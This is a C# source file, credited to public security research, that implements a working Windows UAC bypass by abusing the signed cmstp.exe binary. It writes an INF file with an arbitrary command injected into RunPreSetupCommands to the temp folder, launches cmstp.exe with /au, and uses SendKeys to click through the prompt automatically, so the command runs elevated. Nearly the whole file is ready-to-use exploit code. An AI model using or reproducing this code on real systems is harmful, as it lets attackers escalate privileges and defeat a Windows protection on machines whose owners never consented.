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/*
UAC Bypass using CMSTP.exe microsoft binary
Based on previous work from Oddvar Moe
https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
And this PowerShell script of Tyler Applebaum
https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
Code author: Andre Marques (@_zc00l)
Original post: https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html
*/
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;
public class CMSTPBypass
{
// Our .INF file data!
public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F
[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7
[AllUSer_LDIDSection]
""HKLM"", ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"
[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""
";
[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);
public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";
/* Generates a random named .inf file with command to be executed with UAC privileges */
public static string SetInfFile(string CommandToExecute)
{
string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
string TemporaryDir = "C:\\windows\\temp";
StringBuilder OutputFile = new StringBuilder();
OutputFile.Append(TemporaryDir);
OutputFile.Append("\\");
OutputFile.Append(RandomFileName);
OutputFile.Append(".inf");
StringBuilder newInfData = new StringBuilder(InfData);
newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
return OutputFile.ToString();
}
public static bool Execute(string CommandToExecute)
{
if(!File.Exists(BinaryPath))
{
Console.WriteLine("Could not find cmstp.exe binary!");
return false;
}
StringBuilder InfFile = new StringBuilder();
InfFile.Append(SetInfFile(CommandToExecute));
Console.WriteLine("Payload file written to " + InfFile.ToString());
ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
startInfo.Arguments = "/au " + InfFile.ToString();
startInfo.UseShellExecute = false;
Process.Start(startInfo);
IntPtr windowHandle = new IntPtr();
windowHandle = IntPtr.Zero;
do {
windowHandle = SetWindowActive("cmstp");
} while (windowHandle == IntPtr.Zero);
System.Windows.Forms.SendKeys.SendWait("{ENTER}");
return true;
}
public static IntPtr SetWindowActive(string ProcessName)
{
Process[] target = Process.GetProcessesByName(ProcessName);
if(target.Length == 0) return IntPtr.Zero;
target[0].Refresh();
IntPtr WindowHandle = new IntPtr();
WindowHandle = target[0].MainWindowHandle;
if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
SetForegroundWindow(WindowHandle);
ShowWindow(WindowHandle, 5);
return WindowHandle;
}
}
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